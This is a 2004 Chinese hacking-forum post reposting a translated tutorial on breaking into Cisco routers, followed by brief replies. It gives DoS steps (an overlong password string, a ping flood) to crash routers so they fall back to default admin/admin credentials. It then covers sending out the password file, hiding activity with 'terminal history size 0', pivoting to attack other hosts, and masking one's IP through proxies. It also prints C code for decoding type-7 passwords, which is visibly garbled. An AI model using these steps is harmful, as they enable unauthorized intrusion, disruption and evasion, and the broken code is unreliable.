论坛: 菜鸟乐园 标题: 老鸟不要来 复制本贴地址    
作者: Liubanksupwi [wojiaokl1]    论坛用户   登录
攻击CISCO路由器 



说明: 

原文来自BlackSun,梦醒时分翻译。这是一篇非常好的文章,很高兴能和大家共享! 



---------------------------------- 
目录: 
---------------------------------- 


-什么是IP地址? 

-什么是ISP? 

-什么是TCP/IP数据包? 

-怎样隐藏你的IP地址? 

-怎样使用Telnet? 

-怎样使用HyperTerminal? 

-怎样使用Ping? 

-怎样使用TraceRoute? 

-怎样使用代理服务器? 
------------------------------------- 
-第一段:为什么攻击cisco路由器? 
-第二段:怎样找到一个cisco路由器? 
-第三段:怎样闯入一个cisco路由器? 
-第四段:怎样破解密码? 
-第五段:怎样使用一个cisco路由器? 



---------------------- 
你看之前需要了解的知识: 
---------------------- 

什么是IP地址? 

IP是Internet Protocol的缩写,电脑通过IP地址来识别网络中的其它电脑,与其连接。这就是你为什么会在IRC中被踢走,并且找到你的ISP和你的大概位置。IP地址是很容易得到的,基本上可以由以下 
几种方法获得: 

-你访问某网站,你的IP被记录 

-在IRC中,某人得到你的IP地址 

-在ICQ,OICQ中,可以简单的得到你的IP地址,使用一些小工具。 

-如果你的电脑和某人连接起来,运行 systat即可看到和那些电脑连接(以IP地址显示) 

-某人发给你一封用java程序写的邮件,可以得到你的IP地址 


还有其它许多方法得到IP地址,包括使用一些木马和后门程序。 

----------- 
什么是ISP? 


ISP是Internet Service Provider的缩写,你通过它们连接到internet.你拨号后就会连接和其连接。我们可以运行一个traceroute(跟踪路径)来寻找我们的ISP(traceroute 在后面还会介绍). 

你应该看到像这样: 

tracert 222.222.22.22 

Tracing route to [221.223.24.54] 
over a maximum of 30 hops. 
1 147ms 122ms 132ms your.isp [222.222.22.21]<<<你的ISP
2 122ms 143ms 123ms isp.firewall [222.222.22.20]<< 3 156ms 142MS 122ms aol.com

[207.22.44.33]
4 * * * Request timed out
5 101ms 102ms 133ms cisco.router [194.33.44.33]<< 6 233ms 143ms 102ms something.ip

[111.11.11.11]
7 222ms 123ms 213ms netcom.com [122.11.21.21]
8 152ms 211ms 212ms blahblah.tts.net [121.21.21.33]
9 122ms 223ms 243ms altavista.34.com [121.22.32.43] <<< 目标的ISP
10 101ms 122ms 132ms 221.223.24.54.altavista.34.com [221.223.24.54]
Trace complete.

------------------
什么是TCP/IP数据包?

TCP/IP是 Transmission Control Protocol 和 Internet Protocol的缩写, 一个TCP/IP数据包就是压缩过的数据包,将发送到另外一台电脑的。这就是网络数据传送的方式,通过发送数据包。数据包的头部包括发送数据包的机器的IP地址。你可以重写数据包,并且表面上是来自其它的人!!你可以通过这非法访问许多系统而不会被发现。当然,你需要在Linux上运行或使用某软件来完成这项工作。这篇教程不会向你介绍怎样在一个cisco路由器上这样做,但是当攻击某些系统这样做是非常方便的。如果你试着攻击某些系统,但是无法入手,你总是可以这样试...


------------------
怎样隐藏你的IP地址?


使用Genius 2 或 DC IS之类的软件,你将可以运行IdentD。你就可以随时改变你的IP地址。当你在IRC中被踢出来的时候,你使用它可以再次进入。你访问其它系统的时候,你也可以使用它,那么记录下来的就是错误的IP地址...


-------------
怎样使用telnet?

你可以用开始菜单中的“运行”,输入telnet,接着确定。

你就运行了telnet,你可以改变一些选项点击:Terminal>Preferences。你可以在这改变缓冲区的大小。你也可以 打开/关闭 "local echo"。如果你打开了"local echo",你的电脑将显示你输入的任何东西,并且连接上的电脑将显示回应。 

所以你将会看到就像这些: 
你输入 "h*llo",你看到的是 

hhelelollo 

这是因为返回的信息和你输入的内容已经混合起来了。我这样做的唯一的原因是看连接的机器对我的输入,是否产生回应。 

在默认的情况下,telnet只会通过telnet端口连接,即是断口23。你并不会只通过端口23连接,所以你连接的时候,你可以任意改变端口。你可以改成25,那是邮件服务程序的端口。也可以是21,那是ftp的端口。总共有上千个端口,所以你要选择正确的端口! 


---------------------- 
怎样使用超级终端? 

超级终端可以让你的电脑的任意端口进行监听某台电脑,如果有信息来到这个端口,就可以进行传输件。超级终端在 开始>程序>附件>通讯 中,没有的话,你可以通过控制面板中安装。首先,你要选择连接协议,我们选"TCP/IP Winsock",接着输入要连接的电脑,下面选择端口。可以选择 
Call>Wait for Call,来等待文件。这样其它的电脑就可以通过某个端口连接上你了,你也可以聊天,或者传送文件了。 


------------ 
怎样使用Ping? 

Ping的使用很简单,在MS-DOS方式下,输入“ping IP地址”,默认是ping三次,你也可以自己设定。 
"ping ip地址 -t" 

可以使其不停的ping。 

改变 ping 的大小可以这样做: 

"ping -l (size) ip.address" 

ping其实是向远程的机器发送数据包,远程的机器接收到就会把数据包原路返回,我们可以看到这个过程的时间。时间越短,速度就越快,当然,拥挤的时候,就会发生数据包丢失。 Ping 会减慢被ping的电脑的速度,流量过大的时候,甚至使其down机。一分钟的ping攻击就可以使一台win98的电脑崩溃。(因为它的连接缓冲区溢出 - 连接过量,所以Windows决定休息休息了:>).ping攻击也会占用你许多带宽,所以你的带宽要比目标机器大(除非目标机器运行的是Windows 98,而且你有个不错的猫,那么一分钟内,你就可以叫它下台). 

Ping攻击对强壮的系统没有效果。 

注意: DOS's -t 选项不是一个ping攻击,它只是很小的连接一下,而且中间有很多间隔。在Unix或Linux的机器中,你可以用上参数 -f 进行真正的ping攻击。其实,如果你的分布是OSIX-compliant (POSIX -Portable Operating System Interface based on uniX),否则那就不是真正的Unix/Linux 分布。那么如果你有个 OS,称自己既是Unix,又是Linux,那么就是有 -f 。 


------------------ 
怎样使用TraceRoute? 

要跟踪你的连接(可以观察到目标机器的连接路线),只要在MS-DOS方式下,输入“tracert IP地址 

”。你将会看到一个电脑的目录,就是你和目标之间通过的机器。. 

你可以用此方法确定是否存在防火墙,也可以确定某人的ISP(internet service provider)。 

要确定ISP,只要看目标机器的前一个IP地址,那就应该是ISP的路由器。 

基本上说,这就是traceroute怎样工作-一个 TCP/IP 数据包,在它的头部有一个值(在IP的头部。 

如果你不知道这是什么意思,没关系,你接着往下看就可以了)称作 TTL,它是Time To Live的缩写。当一个数据包通过路由器的时候,它的TTL值就会减少。这样可能会使数据包在网络中流窜,消耗带宽。所以每当一个数据包TTL值达到0的时候,它就会失效并且因为一个ICMP错误返回到发送者。现在traceroute 先发送一个TTL值为1的数据包,那么它很快就会返回。查看ICMP错误的头部,traceroute就可以知道数据包第一步通过哪。接着就会发送TTL值为2的数据包,返回后,就是第二次通过的地方。依次下去,直到最终的目的地,就可以知道整个路径。 

现在你是不是明白了呢? 


------------------ 
怎样使用代理服务器? 

在网上寻找一个代理服务器,包括你需要的打开的端口的代理服务器。找到后,你可以用telnet 或 
hyperterminal通过代理服务器连接到另外一台电脑上。这样做对方的电脑就不可以确定你的IP地址 

。 


----------------------------- 
第一段:为什么攻击cisco路由器? 

你可能会想.. 为什么要攻击 cisco 路由器呢? 

答案就是那样做将对闯入其它的系统非常有用... 

Cisco路由器非常的快,在一个系统中,一些会是以18 T1连接。而且它们非常灵活,尽管大多数运行 
telnet,但是它们可以在DoS攻击或攻入其它系统时发挥作用。 

它们同时还会有成千的数据包通过。但是可以被捕获进行译码...许多的cisco路由器受托于系统,它们可以让你获得其网络中访问其它电脑的确切的数量。 


------------------------------ 
第二段:怎样找到一个cisco路由器? 

寻找一个cisco路由器可以说是以项简单的任务,几乎所有的ISP至少通过一个cisco路由器。最简单的方法是在dos下运行tracert,你可以跟踪到电脑之间的许多电脑,在这之间,必有一个 “cisco”这个 
名字。如果你发现了,记下它的IP地址。 
看哪个开2001端口(Cisco路由器管理)和23端口即是的啦! 


现在,你有cisco路由器的位置了,但是它可能还有一个防火墙保护它,所以你要检查一下它是否被封锁ping连接的次数,如果有回应,它就有可能未被封锁。另外一种方法就是试着访问cisco路由器的一些端口。你用telnet即可,端口23,如果它要输入密码,未叫输入用 
户名,你就可能在一个防火墙。 

试着找一个未受防火墙保护的路由器,因为这篇教程主题是路由器,不是教你怎样通过防火墙。当你确信找到一个好的系统,你应该找一个可以使用23端口的代理服务器,这样你的IP地址就不会被路由器记录下来了。 
--------------------------------- 

第三段:怎样闯入一个cisco路由器? 

Cisco路由器运行 V4.1 版本的软件(现在普遍使用的),这很容易干掉。你只要通过代理服务器连 

接到一个cisco路由器,输入一串很长的密码,如: 

10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk 
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk 
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk 
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk 


现在开始等,cisco系统将会重新启动,可以说你已经攻击它,使它离线了...但是过2-10分钟,它就会恢复,我们应该进入它。 

如果什么都没发生,那么它运行的不是脆弱的软件,你可以多试几种DoS攻击,比如大量的 ping.到dos下,输入 "ping -l 56550 cisco.router.ip -t",这会起到同样的效果. 
可以使其down机。一定要注意小心啊!我相信你应该知道该怎么保护自己。 

如果它被动结,就另找一个代理服务器进行连接。并且用户名为"admin",密码为"admin",因为这是默认的。因为当它暂时的disabled,它将恢复到默认状态。 

现在,你已经进入了,你应该获得密码文件!系统运行不同的软件,但大部分有个像"htl-textil"这类的提示,现在输入"?",观看命。你会看到有很多的命令,你会发现一个传送命令,用这个命令,在当前Admin用户的情况下,把密码文件发送到你的电脑23端口上。但是在这之前,你要把你的超级终端设定好。你发送文件之后,超级终端将问你是否接收文件,你选择是并保存在电脑中即可。离线. 


你通过了最难的部分,下面准备开始破解密码。 


-------------------- 
第四段:怎样破解密码? 


现在,你获得了密码文件,你要破解它才能继续进入路由器。所以你可以运行John the Ripper之类的软件破译它。 


这是我推荐的最简单的方法.另一种方法是试着把它解码。这样做需要一个解码软件,使用某些解码软件,你还要有足够的耐心。 

这儿有一个专门为cisco路由器密码文件解码的软件,你可以在Linux中编译它: 

#include #include 
char xlat[] = { 
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44 
}; 

char pw_str1[] = "password 7 "; 
char pw_str2[] = "enable-password 7 "; 

char *pname; 

cdecrypt(enc_pw, dec_pw) 
char *enc_pw; 
char *dec_pw; 

unsigned int seed, i, val = 0; 

if(strlen(enc_pw) & 1) 
return(-1); 

seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0'; 

if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1])) 
return(-1); 

for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}

val *= 16;

if(isdigit(enc_pw = toupper(enc_pw))) {
val += enc_pw - '0';
continue;
}

if(enc_pw >= 'A' && enc_pw <= 'F') {
val += enc_pw - 'A' + 10;
continue;
}

if(strlen(enc_pw) != i)
return(-1);
}

dec_pw[++i / 2] = 0;

return(0);
}

usage()
{
fprintf(stdout, "Usage: %s -p fprintf(stdout, " %s
return(0);
}

main(argc,argv)
int argc;
char **argv;

{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;

pname = argv[0];

if(argc > 1) 

if(argc > 3) { 
usage(); 
exit(1); 


if(argv[1][0] == '-') 

switch(argv[1][1]) { 
case 'h': 
usage(); 
break; 

case 'p': 
if(cdecrypt(argv[2], passwd)) { 
fprintf(stderr, "Error.\n"); 
exit(1); 

fprintf(stdout, "password: %s\n", passwd); 
break; 

default: 
fprintf(stderr, "%s: unknow option.", pname); 


return(0); 


if((in = fopen(argv[1], "rt")) == NULL) 
exit(1); 
if(argc > 2) 
if((out = fopen(argv[2], "wt")) == NULL) 
exit(1); 


while(1) { 
for(i = 0; i < 256; i++) {
if((line = fgetc(in)) == EOF) {
if(i)
break;

fclose(in);
fclose(out);
return(0);
}
if(line == '\r')
i--;

if(line == '\n')
break;
}
pw_pos = 0;
line = 0;

if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);

if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);

if(!pw_pos) {
fprintf(stdout, "%s\n", line);
continue;
}

if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else
fprintf(out, "%s", pw_str2);

fprintf(out, "%s\n", passwd);
}
}
}

如果你没有使用Linux,你就只好用John the Ripper之类的软件,带上密码档,进行暴利破解。

-------------------------------

第五段:怎样使用一个cisco路由器?


要使用它,你先必须连接到它,你可以用代理,以免你的IP地址被记下。当你进入的时候,如果你想

关闭历史记录来掩盖你的行为,你只要输入"terminal history size 0"。这样就不会被记下什么了!

输入 "?"来看路由器中的命令,大多数你都可以用的。


这些路由器一般都有telnet,所以你可以通过telnet连接到其它的系统上(比如unix boxes),并且攻

击它们。你还可以使用ping 和 traceroute 进行跟踪系统或进行DoS攻击。你也可以监听数据包,但

我不推荐这样做,因为并不是一定成功,而且会被发现....

---------------------------------

如果你第一次没有攻入cisco,不要担心...你一两次是不可能成功的。它需要不断的练习和超强的耐

力。这儿只向你将怎样做...一定要在合法的情况下进行啊!

地主 发表时间: 04-02-14 20:01

回复: newmyth21 [newmyth21]   论坛用户   登录
有一定的风险啊

B1层 发表时间: 04-02-14 20:05

回复: jiangweng [jiangweng]   论坛用户   登录
引用:
使用Genius 2 或 DC IS之类的软件,你将可以运行IdentD。你就可以随时改变你的IP地址。当你在IRC中被踢出来的时候,你使用它可以再次进入。你访问其它系统的时候,你也可以使用它,那么记录下来的就是错误的IP地址...
]
  请问Genius 2 ,,DC IS那里下载???????


B2层 发表时间: 04-02-14 23:13

回复: newmyth21 [newmyth21]   论坛用户   登录
哪一年的工具啊(2001)

B3层 发表时间: 04-02-15 00:01

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号